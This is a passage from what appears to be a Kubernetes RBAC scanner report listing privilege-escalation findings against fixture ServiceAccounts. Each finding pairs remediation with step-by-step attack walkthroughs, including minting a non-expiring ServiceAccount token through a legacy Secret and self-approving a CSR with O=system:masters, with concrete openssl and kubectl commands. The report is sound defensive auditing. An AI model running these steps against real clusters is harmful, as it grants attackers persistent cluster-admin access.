  3. Move the binding from cluster-wide to namespace-scoped so the blast radius is bounded.
  4. Verify with kubectl auth can-i get secrets --as=sa-secret-read -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbsget
Source rolecr-secret-read
Inspect: kubectl get clusterrole cr-secret-read -o yaml
Source bindingcrb-secret-read
Inspect: kubectl get clusterrolebinding crb-secret-read -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "secrets"
  ],
  "scope": "cluster",
  "source_binding": "crb-secret-read",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-secret-read",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "get"
  ]
}
HIGH

Cluster-wide create+get on Secrets mints a ServiceAccount token

KUBE-PRIVESC-007 4 subjects Score 10.0
MITRE ATT&CK: T1098.001T1528T1552.007

Affected subjects (4)

HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/privesc-fixtures/sa-secret-mint)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint Resource: RBACRule/cr-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint can both create Secrets (via ClusterRoleBinding crb-secret-mint → ClusterRole cr-secret-mint) and get Secrets (via ClusterRoleBinding crb-secret-mint → ClusterRole cr-secret-mint). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=sa-secret-mint -A and kubectl auth can-i get secrets --as=sa-secret-mint -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=sa-secret-mint -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbscreateget
create: Create new objects of this resource
Source rolecr-secret-mint
Inspect: kubectl get clusterrole cr-secret-mint -o yaml
Source bindingcrb-secret-mint
Inspect: kubectl get clusterrolebinding crb-secret-mint -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "secrets"
  ],
  "scope": "cluster",
  "source_binding": "crb-secret-mint",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-secret-mint",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "get"
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/rbac-fixtures/sa-cluster-admin)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can both create Secrets (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin) and get Secrets (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=sa-cluster-admin -A and kubectl auth can-i get secrets --as=sa-cluster-admin -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=sa-cluster-admin -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-wildcard Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/rbac-fixtures/sa-wildcard)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: RBACRule/cr-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard can both create Secrets (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard) and get Secrets (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=sa-wildcard -A and kubectl auth can-i get secrets --as=sa-wildcard -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=sa-wildcard -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-wildcard",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-wildcard",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard Namespace 10.0
Namespace lp-fixtures only create+get on Secrets mints a ServiceAccount token (ServiceAccount/lp-fixtures/sa-lp-wildcard)
Scope · Namespace Namespace lp-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard Resource: RBACRule/lp-fixtures/r-lp-wildcard

Subject ServiceAccount/lp-fixtures/sa-lp-wildcard can both create Secrets (via RoleBinding lp-fixtures/rb-lp-wildcard → Role lp-fixtures/r-lp-wildcard) and get Secrets (via RoleBinding lp-fixtures/rb-lp-wildcard → Role lp-fixtures/r-lp-wildcard). Namespace lp-fixtures only.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Namespace lp-fixtures only by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=sa-lp-wildcard -n lp-fixtures and kubectl auth can-i get secrets --as=sa-lp-wildcard -n lp-fixtures.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=sa-lp-wildcard -n lp-fixtures returning no for at least one of the two verbs.
Evidence
ScopeNamespace
Namespacelp-fixtures
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source roler-lp-wildcard
Inspect: kubectl get role r-lp-wildcard -n lp-fixtures -o yaml
Source bindingrb-lp-wildcard
Inspect: kubectl get rolebinding rb-lp-wildcard -n lp-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "lp-fixtures",
  "resources": [
    "secrets"
  ],
  "scope": "namespace",
  "source_binding": "rb-lp-wildcard",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-lp-wildcard",
  "source_role_kind": "Role",
  "verbs": [
    "*"
  ]
}
HIGH

CSR create + approve enables cluster-admin via system:masters on ServiceAccount/csr-fixtures/sa-csr-mint

KUBE-PRIVESC-011 3 subjects Score 10.0

Affected subjects (3)

HIGH ServiceAccount/csr-fixtures/sa-csr-mint Cluster 10.0
CSR create + approve enables cluster-admin via system:masters on ServiceAccount/csr-fixtures/sa-csr-mint
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-mint Resource: RBACRule/cr-csr-mint

Subject ServiceAccount/csr-fixtures/sa-csr-mint can both create certificatesigningrequests (via ClusterRoleBinding crb-csr-mint → ClusterRole cr-csr-mint) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding crb-csr-mint → ClusterRole cr-csr-mint). Held together, those two verbs are equivalent to cluster-admin via the certificates API.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN can claim any Common Name and any list of Organizations. The kube-apiserver's built-in client-cert authenticator treats CN as the User and each Organization as a Group. The group system:masters is hard-coded inside the apiserver to short-circuit RBAC entirely. So an attacker who can both submit a CSR with O=system:masters AND mark it Approved can pick up the kubelet-signed cert (via kubectl get csr <name> -o jsonpath='{.status.certificate}') and use it as a permanent cluster-admin credential.

The Kubernetes project explicitly flags this in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), and leaves no Secret behind that an operator can rotate.

Impact Cluster-admin equivalent via the certificates API: subject can mint a kubelet-signed x509 client cert that authenticates as system:masters, bypassing RBAC. The cert persists after the RBAC grant is revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval to system:masters

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=sa-csr-mint -A and kubectl auth can-i update certificatesigningrequests/approval --as=sa-csr-mint -A.
  2. They generate a private key + CSR locally with O=system:masters in the Subject DN: openssl req -new -key admin.key -subj '/CN=attacker/O=system:masters' -out admin.csr.
  3. They submit it via the CertificateSigningRequest API, targeting the kubernetes.io/kube-apiserver-client signer: kubectl apply -f csr.yaml.
  4. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager signs the cert using the cluster CA.
  5. They extract the issued cert: kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > admin.crt and use it: kubectl --client-certificate=admin.crt --client-key=admin.key get nodes — succeeds as system:masters.
Remediation
Split the two halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval should be reserved to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | {name, rules}' and grep for certificatesigningrequests and certificatesigningrequests/approval.
  2. Remove one half from ServiceAccount/csr-fixtures/sa-csr-mint. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  4. Add a ValidatingAdmissionPolicy (or Kyverno) that rejects any CertificateSigningRequest whose spec.request decodes to a Subject containing O=system:masters regardless of the submitting identity.
  5. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=sa-csr-mint -A returning no for at least one of the two halves.
  6. Rotate the cluster CA if you suspect a cert was issued (the issued cert remains valid for its full lifetime; only a CA rotation invalidates it).
Evidence
ScopeCluster
API groupscertificates.k8s.io
certificates.k8s.io: Issues cluster-trusted certificates
Resourcescertificatesigningrequests
certificatesigningrequests: Issue X.509 certs honored by the API server
Verbscreategetlistwatch
create: Create new objects of this resource
Source rolecr-csr-mint
Inspect: kubectl get clusterrole cr-csr-mint -o yaml
Source bindingcrb-csr-mint
Inspect: kubectl get clusterrolebinding crb-csr-mint -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "certificates.k8s.io"
  ],
  "namespace": "",
  "resources": [
    "certificatesigningrequests"
  ],
  "scope": "cluster",
  "source_binding": "crb-csr-mint",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-csr-mint",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "get",
    "list",
    "watch"
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 10.0
CSR create + approve enables cluster-admin via system:masters on ServiceAccount/rbac-fixtures/sa-cluster-admin
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can both create certificatesigningrequests (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin). Held together, those two verbs are equivalent to cluster-admin via the certificates API.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN can claim any Common Name and any list of Organizations. The kube-apiserver's built-in client-cert authenticator treats CN as the User and each Organization as a Group. The group system:masters is hard-coded inside the apiserver to short-circuit RBAC entirely. So an attacker who can both submit a CSR with O=system:masters AND mark it Approved can pick up the kubelet-signed cert (via kubectl get csr <name> -o jsonpath='{.status.certificate}') and use it as a permanent cluster-admin credential.

The Kubernetes project explicitly flags this in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), and leaves no Secret behind that an operator can rotate.

Impact Cluster-admin equivalent via the certificates API: subject can mint a kubelet-signed x509 client cert that authenticates as system:masters, bypassing RBAC. The cert persists after the RBAC grant is revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval to system:masters

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=sa-cluster-admin -A and kubectl auth can-i update certificatesigningrequests/approval --as=sa-cluster-admin -A.
  2. They generate a private key + CSR locally with O=system:masters in the Subject DN: openssl req -new -key admin.key -subj '/CN=attacker/O=system:masters' -out admin.csr.
  3. They submit it via the CertificateSigningRequest API, targeting the kubernetes.io/kube-apiserver-client signer: kubectl apply -f csr.yaml.
  4. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager signs the cert using the cluster CA.
  5. They extract the issued cert: kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > admin.crt and use it: kubectl --client-certificate=admin.crt --client-key=admin.key get nodes — succeeds as system:masters.
Remediation
Split the two halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval should be reserved to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | {name, rules}' and grep for certificatesigningrequests and certificatesigningrequests/approval.
  2. Remove one half from ServiceAccount/rbac-fixtures/sa-cluster-admin. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  4. Add a ValidatingAdmissionPolicy (or Kyverno) that rejects any CertificateSigningRequest whose spec.request decodes to a Subject containing O=system:masters regardless of the submitting identity.
  5. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=sa-cluster-admin -A returning no for at least one of the two halves.
  6. Rotate the cluster CA if you suspect a cert was issued (the issued cert remains valid for its full lifetime; only a CA rotation invalidates it).
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-wildcard Cluster 10.0
CSR create + approve enables cluster-admin via system:masters on ServiceAccount/rbac-fixtures/sa-wildcard
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: RBACRule/cr-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard can both create certificatesigningrequests (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard). Held together, those two verbs are equivalent to cluster-admin via the certificates API.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN can claim any Common Name and any list of Organizations. The kube-apiserver's built-in client-cert authenticator treats CN as the User and each Organization as a Group. The group system:masters is hard-coded inside the apiserver to short-circuit RBAC entirely. So an attacker who can both submit a CSR with O=system:masters AND mark it Approved can pick up the kubelet-signed cert (via kubectl get csr <name> -o jsonpath='{.status.certificate}') and use it as a permanent cluster-admin credential.

The Kubernetes project explicitly flags this in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), and leaves no Secret behind that an operator can rotate.

Impact Cluster-admin equivalent via the certificates API: subject can mint a kubelet-signed x509 client cert that authenticates as system:masters, bypassing RBAC. The cert persists after the RBAC grant is revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval to system:masters

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=sa-wildcard -A and kubectl auth can-i update certificatesigningrequests/approval --as=sa-wildcard -A.
  2. They generate a private key + CSR locally with O=system:masters in the Subject DN: openssl req -new -key admin.key -subj '/CN=attacker/O=system:masters' -out admin.csr.
  3. They submit it via the CertificateSigningRequest API, targeting the kubernetes.io/kube-apiserver-client signer: kubectl apply -f csr.yaml.
  4. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager signs the cert using the cluster CA.
  5. They extract the issued cert: kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > admin.crt and use it: kubectl --client-certificate=admin.crt --client-key=admin.key get nodes — succeeds as system:masters.
Remediation
